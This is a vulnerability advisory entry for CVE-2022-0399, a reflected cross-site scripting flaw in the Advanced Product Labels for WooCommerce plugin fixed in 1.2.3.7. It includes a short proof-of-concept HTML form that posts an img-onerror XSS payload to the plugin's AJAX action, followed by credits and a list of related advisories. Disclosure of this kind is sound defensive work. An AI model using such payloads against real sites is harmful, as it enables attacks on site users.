Advanced Product Labels for WooCommerce < 1.2.3.7 – Reflected Cross-Site Scripting | CVE 2022-0399 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the tax_color_set_type parameter before outputting it back in the berocket_apl_color_listener AJAX action's response, leading to a Reflected Cross-Site Scripting

Proof of Concept

As any authenticated user:

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=berocket_apl_color_listener" method="POST">
        <input type="text" value='"><img src onerror=alert(/XSS/)>' name="tax_color_set_type">
        <input type="submit" value="Send">
    </form>
</html>

Affects Plugins

advanced-product-labels-for-woocommerce

Fixed in 1.2.3.7

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2678919

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

5e5fdcf4-ec2b-4e73-8009-05606b2d5164

Timeline

Publicly Published

2022-02-15 (about 3 years ago)

Added

2022-02-15 (about 3 years ago)

Last Updated

2022-04-08 (about 3 years ago)

Other

Published

Title

Published

2025-10-22

Title

Team Members Showcase < 3.5.0 - Reflected XSS

Published

2025-04-09

Title

Task Scheduler <= 1.6.3 - Reflected Cross-Site Scripting

Published

2024-08-09

Title

WC Marketplace < 4.2.0 - Reflected Cross-Site Scripting

Published

2025-12-31

Title

SEO Slider <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-06-02

Title

Flower Delivery by Florist One <= 3.9.1 - Admin+ Stored Cross-Site Scripting